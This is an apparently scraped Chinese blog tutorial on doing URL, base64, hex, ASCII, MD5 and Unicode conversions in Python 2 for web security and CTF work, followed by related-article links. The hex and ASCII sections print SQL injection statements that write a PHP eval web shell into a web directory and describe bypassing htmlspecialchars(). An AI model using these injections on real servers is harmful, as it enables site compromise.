python妙用之编码的转换详解


Posted in Python onApril 21, 2017

前言

记得刚入门那个时候,自己处理编码转换问题往往是“百度:url解码、base64加密、hex……”,或者是使用一款叫做“小葵多功能转换工具”的软件,再后来直接上Burpsuite的decoder功能,感觉用的还挺好的。不过,也遇到些问题:在线转换效率低(搜索占去了2/3的时间)、两款工具存在一些小问题,比如burp中涉及中文往往显示乱码。

python妙用之编码的转换详解

python妙用之编码的转换详解

直到使用python来作为我日常编码转换工具……

开启py转换之旅

url编码

url编码是一种浏览器用来打包表单输入的格式.可谓是一名作为web人员最熟悉的一种编码方式了。

>>> from urllib import *
>>> quote("union select null,null,null")
'union%20select%20null%2Cnull%2Cnull'
>>> unquote("union%20select%20null%2Cnull%2Cnull")
'union select null,null,null'
>>> urlencode({'x':'2333','y':'666'})
'y=666&x=2333'

Base64

Base64常常用作网页表单和HTTP传输的一些参数,也常用于邮件协议传输用户信息等。

>>> import base64
>>> base64.b64encode("admin")
'YWRtaW4='
>>> base64.b64decode('YWRtaW4=')
'admin'

记得有次ctf比赛中考到了base32解密,一般网站不提供在线解密,一时之间貌似没有办法继续下去。不过如果你使用python的话会像上边解密base64一样简单,只需要将函数改变下:

>>> import base64
>>> base64.b32encode('jjjjj')
'NJVGU2TK'
>>> base64.b32decode('NJVGU2TK')
'jjjjj'

Hex

十六进制编码也是web application中常见的一种编码方案。作为一名web安全人员,我们心知肚明的是,MySQL注入可以使用hex绕过htmlspecialchars()函数从而写入webshell。

比如:

select 0x3c3f70687020406576616c28245f504f53545b615d293b203f3e into outfile '/web/1.php'

下面是python实现hex加解密的方法:

>>> '<?php @eval($_POST[a]); ?>'.encode('hex')
'3c3f70687020406576616c28245f504f53545b615d293b203f3e'
>>>
>>> print '3c3f70687020406576616c28245f504f53545b615d293b203f3e'.decode('hex')
<?php @eval($_POST[a]); ?>
>>>

ASCii

MySQL中的char()函数则是转换ascii码的,正因如此,也可以使用这个特性来绕过htmlspecialchars()函数。

比如:

select char(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 97, 93, 41, 59, 32, 63, 62) into outfile '/web/1.php'

使用python将字符串转换ascii很简单,但是逆转换的话需要需要点小操作:

>>> map(ord, "<?php phpinfo() ?>")
[60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 32, 63, 62]

>>> print chr(112)
p

>>> l = [60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 32, 63, 62]
>>> print ''.join(map(chr,l)) #感谢pcat表哥指出的方法
<?php phpinfo() ?>

Md5

md5在web安全界可以说是人尽皆知了,以他的不可逆性,大多数网站存储用户密码等关键数据时常常使用md5加密。有的时候我们提交payload需要md5加密,这个时候用下面的方法就可以轻松实现。当然解密的话推荐去cmd5。

>>> from hashlib import md5
>>> m = md5()
>>> m.update('this is a secret')
>>> m.hexdigest()
'7dbbcee180ba4d456e4aa1cfbdad9c7b'

>>> m.hexdigest()[8:-8]
'80ba4d456e4aa1cf'
>>>

Unicode转中文

unicode转换中文,很多情况下都能遇到。尤其是在做渗透测试的时候。用burp的话会存在中文乱码的问题,在python下实现非常简单。

>>> print u"\u4f60\u9700\u8981\u91cd\u65b0\u767b\u9646"
你需要重新登陆

总结

python实际上在实际使用中非常方便,编码转换只是其中一个例子。文中提到的编码转换皆为笔者日常积累,如果有没有涉及到的地方,欢迎评论补充。好了,以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作能带来一定的帮助,如果有疑问大家可以留言交流,谢谢大家对三水点靠木的支持。

Python 相关文章推荐
Python获取单个程序CPU使用情况趋势图
Mar 10 Python
python实现数组插入新元素的方法
May 22 Python
Python和JavaScript间代码转换的4个工具
Feb 22 Python
python bottle框架支持jquery ajax的RESTful风格的PUT和DELETE方法
May 24 Python
python绘制条形图方法代码详解
Dec 19 Python
Python绘制3D图形
May 03 Python
python简单贪吃蛇开发
Jan 28 Python
Python基础之列表常见操作经典实例详解
Feb 26 Python
如何使用Python进行PDF图片识别OCR
Jan 22 Python
python文本处理的方案(结巴分词并去除符号)
May 26 Python
Python编程源码报错解决方法总结经验分享
Oct 05 Python
pd.drop_duplicates删除重复行的方法实现
Jun 16 Python
简单谈谈Python中的元祖(Tuple)和字典(Dict)
Apr 21 #Python
Python学习笔记之解析json的方法分析
Apr 21 #Python
Python正则抓取网易新闻的方法示例
Apr 21 #Python
Python中shape计算矩阵的方法示例
Apr 21 #Python
Python使用正则表达式抓取网页图片的方法示例
Apr 21 #Python
用python找出那些被“标记”的照片
Apr 20 #Python
python实现12306火车票查询器
Apr 20 #Python
You might like
PHP中路径问题的解决方案
2006/10/09 PHP
随机头像PHP版
2006/10/09 PHP
使用sockets:从新闻组中获取文章(三)
2006/10/09 PHP
PHP伪造来源HTTP_REFERER的方法实例详解
2015/07/06 PHP
javascript事件问题
2009/09/05 Javascript
Mootools 1.2教程 同时进行多个形变动画
2009/09/15 Javascript
JS 自定义函数缺省值的设置方法
2010/05/05 Javascript
js单例模式的两种方案
2013/10/22 Javascript
Js Jquery创建一个弹出层可加载一个页面
2014/05/08 Javascript
JavaScript绑定事件监听函数的通用方法
2016/05/14 Javascript
基于Vue.js实现简单搜索框
2020/03/26 Javascript
Javascript中for循环语句的几种写法总结对比
2017/01/23 Javascript
浅谈angular4生命周期钩子
2017/09/05 Javascript
Angular 开发学习之Angular CLI的安装使用
2017/12/31 Javascript
《javascript少儿编程》location术语总结
2018/05/27 Javascript
在Vuex使用dispatch和commit来调用mutations的区别详解
2018/09/18 Javascript
微信小程序 腾讯地图SDK 获取当前地址实现解析
2019/08/12 Javascript
微信小程序登陆注册功能的实现代码
2019/12/10 Javascript
React 实现车牌键盘的示例代码
2019/12/20 Javascript
python轻松查到删除自己的微信好友
2016/01/10 Python
Python实现字典排序、按照list中字典的某个key排序的方法示例
2018/12/18 Python
Centos部署django服务nginx+uwsgi的方法
2019/01/02 Python
解决python 文本过滤和清理问题
2019/08/28 Python
Python递归实现打印多重列表代码
2020/02/27 Python
详解CSS3 Media Queries中媒体属性的使用
2016/02/29 HTML / CSS
html5使用canvas实现弹幕功能示例
2017/09/11 HTML / CSS
canvas 如何绘制线段的实现方法
2018/07/12 HTML / CSS
如何开发安全的AJAX应用
2014/03/26 面试题
十八届三中全会学习方案
2014/02/16 职场文书
收银出纳员岗位职责
2014/02/23 职场文书
质量提升方案
2014/06/16 职场文书
委托代理人授权委托书范本
2014/09/24 职场文书
网站出售协议书范文
2014/10/10 职场文书
4S店销售内勤岗位职责
2015/04/13 职场文书
python实现简单的三子棋游戏
2022/04/28 Python
python数字图像处理数据类型及颜色空间转换
2022/06/28 Python